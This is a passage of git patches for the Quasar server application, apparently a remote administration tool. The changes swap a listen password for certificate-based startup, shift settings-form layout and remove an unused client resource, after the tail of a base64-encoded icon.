Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index c644505e1..1274de57e 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -86,7 +86,16 @@ private void InitializeServer() #if DEBUG serverCertificate = CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 2048); #else - serverCertificate = new X509Certificate2("server.p12"); + string certificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); + if (!File.Exists(certificatePath)) + { + using (var certificateSelection = new FrmCertificate()) + { + while (certificateSelection.ShowDialog() != DialogResult.OK) + { } + } + } + serverCertificate = new X509Certificate2(certificatePath); #endif ListenServer = new QuasarServer(serverCertificate); ListenServer.ServerState += ServerState; diff --git a/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs index 244cd4ebe..c4b7f5123 100644 --- a/Quasar.Server/Forms/FrmSettings.Designer.cs +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -36,8 +36,6 @@ private void InitializeComponent() this.chkPopup = new System.Windows.Forms.CheckBox(); this.btnListen = new System.Windows.Forms.Button(); this.btnCancel = new System.Windows.Forms.Button(); - this.lblPassword = new System.Windows.Forms.Label(); - this.txtPassword = new System.Windows.Forms.TextBox(); this.chkUseUpnp = new System.Windows.Forms.CheckBox(); this.chkShowTooltip = new System.Windows.Forms.CheckBox(); this.chkNoIPIntegration = new System.Windows.Forms.CheckBox(); @@ -54,7 +52,7 @@ private void InitializeComponent() // // btnSave // - this.btnSave.Location = new System.Drawing.Point(227, 296); + this.btnSave.Location = new System.Drawing.Point(227, 298); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(75, 23); this.btnSave.TabIndex = 19; @@ -96,7 +94,7 @@ private void InitializeComponent() // chkAutoListen // this.chkAutoListen.AutoSize = true; - this.chkAutoListen.Location = new System.Drawing.Point(15, 86); + this.chkAutoListen.Location = new System.Drawing.Point(12, 68); this.chkAutoListen.Name = "chkAutoListen"; this.chkAutoListen.Size = new System.Drawing.Size(222, 17); this.chkAutoListen.TabIndex = 6; @@ -106,7 +104,7 @@ private void InitializeComponent() // chkPopup // this.chkPopup.AutoSize = true; - this.chkPopup.Location = new System.Drawing.Point(15, 109); + this.chkPopup.Location = new System.Drawing.Point(12, 91); this.chkPopup.Name = "chkPopup"; this.chkPopup.Size = new System.Drawing.Size(259, 17); this.chkPopup.TabIndex = 7; @@ -125,7 +123,7 @@ private void InitializeComponent() // // btnCancel // - this.btnCancel.Location = new System.Drawing.Point(146, 296); + this.btnCancel.Location = new System.Drawing.Point(146, 298); this.btnCancel.Name = "btnCancel"; this.btnCancel.Size = new System.Drawing.Size(75, 23); this.btnCancel.TabIndex = 18; @@ -133,28 +131,12 @@ private void InitializeComponent() this.btnCancel.UseVisualStyleBackColor = true; this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); // - // lblPassword - // - this.lblPassword.AutoSize = true; - this.lblPassword.Location = new System.Drawing.Point(12, 38); - this.lblPassword.Name = "lblPassword"; - this.lblPassword.Size = new System.Drawing.Size(59, 13); - this.lblPassword.TabIndex = 3; - this.lblPassword.Text = "Password:"; - // - // txtPassword - // - this.txtPassword.Location = new System.Drawing.Point(111, 35); - this.txtPassword.Name = "txtPassword"; - this.txtPassword.Size = new System.Drawing.Size(158, 22); - this.txtPassword.TabIndex = 4; - // // chkUseUpnp // this.chkUseUpnp.AutoSize = true; - this.chkUseUpnp.Location = new System.Drawing.Point(15, 132); + this.chkUseUpnp.Location = new System.Drawing.Point(12, 114); this.chkUseUpnp.Name = "chkUseUpnp"; - this.chkUseUpnp.Size = new System.Drawing.Size(230, 17); + this.chkUseUpnp.Size = new System.Drawing.Size(229, 17); this.chkUseUpnp.TabIndex = 8; this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)"; this.chkUseUpnp.UseVisualStyleBackColor = true; @@ -162,7 +144,7 @@ private void InitializeComponent() // chkShowTooltip // this.chkShowTooltip.AutoSize = true; - this.chkShowTooltip.Location = new System.Drawing.Point(15, 155); + this.chkShowTooltip.Location = new System.Drawing.Point(12, 137); this.chkShowTooltip.Name = "chkShowTooltip"; this.chkShowTooltip.Size = new System.Drawing.Size(268, 17); this.chkShowTooltip.TabIndex = 9; @@ -172,7 +154,7 @@ private void InitializeComponent() // chkNoIPIntegration // this.chkNoIPIntegration.AutoSize = true; - this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 178); + this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177); this.chkNoIPIntegration.Name = "chkNoIPIntegration"; this.chkNoIPIntegration.Size = new System.Drawing.Size(192, 17); this.chkNoIPIntegration.TabIndex = 10; @@ -184,7 +166,7 @@ private void InitializeComponent() // this.lblHost.AutoSize = true; this.lblHost.Enabled = false; - this.lblHost.Location = new System.Drawing.Point(33, 204); + this.lblHost.Location = new System.Drawing.Point(30, 203); this.lblHost.Name = "lblHost"; this.lblHost.Size = new System.Drawing.Size(34, 13); this.lblHost.TabIndex = 11; @@ -194,7 +176,7 @@ private void InitializeComponent() // this.lblPass.AutoSize = true; this.lblPass.Enabled = false; - this.lblPass.Location = new System.Drawing.Point(170, 232); + this.lblPass.Location = new System.Drawing.Point(167, 231); this.lblPass.Name = "lblPass"; this.lblPass.Size = new System.Drawing.Size(32, 13); this.lblPass.TabIndex = 15; @@ -204,7 +186,7 @@ private void InitializeComponent() // this.lblUser.AutoSize = true; this.lblUser.Enabled = false; - this.lblUser.Location = new System.Drawing.Point(33, 232); + this.lblUser.Location = new System.Drawing.Point(30, 231); this.lblUser.Name = "lblUser"; this.lblUser.Size = new System.Drawing.Size(32, 13); this.lblUser.TabIndex = 13; @@ -213,7 +195,7 @@ private void InitializeComponent() // txtNoIPPass // this.txtNoIPPass.Enabled = false; - this.txtNoIPPass.Location = new System.Drawing.Point(202, 229); + this.txtNoIPPass.Location = new System.Drawing.Point(199, 228); this.txtNoIPPass.Name = "txtNoIPPass"; this.txtNoIPPass.Size = new System.Drawing.Size(100, 22); this.txtNoIPPass.TabIndex = 16; @@ -221,7 +203,7 @@ private void InitializeComponent() // txtNoIPUser // this.txtNoIPUser.Enabled = false; - this.txtNoIPUser.Location = new System.Drawing.Point(73, 229); + this.txtNoIPUser.Location = new System.Drawing.Point(70, 228); this.txtNoIPUser.Name = "txtNoIPUser"; this.txtNoIPUser.Size = new System.Drawing.Size(91, 22); this.txtNoIPUser.TabIndex = 14; @@ -229,7 +211,7 @@ private void InitializeComponent() // txtNoIPHost // this.txtNoIPHost.Enabled = false; - this.txtNoIPHost.Location = new System.Drawing.Point(73, 201); + this.txtNoIPHost.Location = new System.Drawing.Point(70, 200); this.txtNoIPHost.Name = "txtNoIPHost"; this.txtNoIPHost.Size = new System.Drawing.Size(229, 22); this.txtNoIPHost.TabIndex = 12; @@ -238,7 +220,7 @@ private void InitializeComponent() // this.chkShowPassword.AutoSize = true; this.chkShowPassword.Enabled = false; - this.chkShowPassword.Location = new System.Drawing.Point(195, 257); + this.chkShowPassword.Location = new System.Drawing.Point(192, 256); this.chkShowPassword.Name = "chkShowPassword"; this.chkShowPassword.Size = new System.Drawing.Size(107, 17); this.chkShowPassword.TabIndex = 17; @@ -249,7 +231,7 @@ private void InitializeComponent() // chkIPv6Support // this.chkIPv6Support.AutoSize = true; - this.chkIPv6Support.Location = new System.Drawing.Point(15, 63); + this.chkIPv6Support.Location = new System.Drawing.Point(12, 45); this.chkIPv6Support.Name = "chkIPv6Support"; this.chkIPv6Support.Size = new System.Drawing.Size(128, 17); this.chkIPv6Support.TabIndex = 5; @@ -272,8 +254,6 @@ private void InitializeComponent() this.Controls.Add(this.chkNoIPIntegration); this.Controls.Add(this.chkShowTooltip); this.Controls.Add(this.chkUseUpnp); - this.Controls.Add(this.txtPassword); - this.Controls.Add(this.lblPassword); this.Controls.Add(this.btnCancel); this.Controls.Add(this.btnListen); this.Controls.Add(this.chkPopup); @@ -305,8 +285,6 @@ private void InitializeComponent() private System.Windows.Forms.CheckBox chkPopup; private System.Windows.Forms.Button btnListen; private System.Windows.Forms.Button btnCancel; - private System.Windows.Forms.Label lblPassword; - private System.Windows.Forms.TextBox txtPassword; private System.Windows.Forms.CheckBox chkUseUpnp; private System.Windows.Forms.CheckBox chkShowTooltip; private System.Windows.Forms.CheckBox chkNoIPIntegration; diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs index 313cd24bb..0a34b4576 100644 --- a/Quasar.Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -22,7 +22,6 @@ public FrmSettings(QuasarServer listenServer) { btnListen.Text = "Stop listening"; ncPort.Enabled = false; - txtPassword.Enabled = false; chkIPv6Support.Enabled = false; } @@ -53,7 +52,6 @@ private ushort GetPortSafe() private void btnListen_Click(object sender, EventArgs e) { ushort port = GetPortSafe(); - string password = txtPassword.Text; if (port == 0) { @@ -62,13 +60,6 @@ private void btnListen_Click(object sender, EventArgs e) return; } - if (password.Length < 3) - { - MessageBox.Show("Please enter a secure password with more than 3 characters.", - "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - if (btnListen.Text == "Start listening" && !_listenServer.Listening) { try @@ -115,7 +106,6 @@ private void btnListen_Click(object sender, EventArgs e) { btnListen.Text = "Stop listening"; ncPort.Enabled = false; - txtPassword.Enabled = false; chkIPv6Support.Enabled = false; } } @@ -130,7 +120,6 @@ private void btnListen_Click(object sender, EventArgs e) { btnListen.Text = "Start listening"; ncPort.Enabled = true; - txtPassword.Enabled = true; chkIPv6Support.Enabled = true; } } @@ -139,7 +128,6 @@ private void btnListen_Click(object sender, EventArgs e) private void btnSave_Click(object sender, EventArgs e) { ushort port = GetPortSafe(); - string password = txtPassword.Text; if (port == 0) { @@ -148,13 +136,6 @@ private void btnSave_Click(object sender, EventArgs e) return; } - if (password.Length < 3) - { - MessageBox.Show("Please enter a secure password with more than 3 characters.", - "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - Settings.ListenPort = port; Settings.IPv6Support = chkIPv6Support.Checked; Settings.AutoListen = chkAutoListen.Checked; @@ -201,4 +182,4 @@ private void chkShowPassword_CheckedChanged(object sender, EventArgs e) ShowPassword(chkShowPassword.Checked); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index 0d7ce4001..1c9d00a73 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -113,6 +113,12 @@ WordTextBox.cs + + Form + + + FrmCertificate.cs + @@ -313,6 +319,9 @@ FrmAbout.cs + + FrmCertificate.cs + FrmStartupAdd.cs From fea5c12e3e662d6b43bbb0d45b2a07d86fdf9904 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 22 Oct 2018 17:30:03 +0200 Subject: [PATCH 150/229] Remove unnecessary client resource --- Quasar.Client/Properties/Resources.Designer.cs | 10 ---------- Quasar.Client/Properties/Resources.resx | 4 ---- 2 files changed, 14 deletions(-) diff --git a/Quasar.Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs index cf606db84..8a20f78ba 100644 --- a/Quasar.Client/Properties/Resources.Designer.cs +++ b/Quasar.Client/Properties/Resources.Designer.cs @@ -59,15 +59,5 @@ internal Resources() { resourceCulture = value; } } - - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap information { - get { - object obj = ResourceManager.GetObject("information", resourceCulture); - return 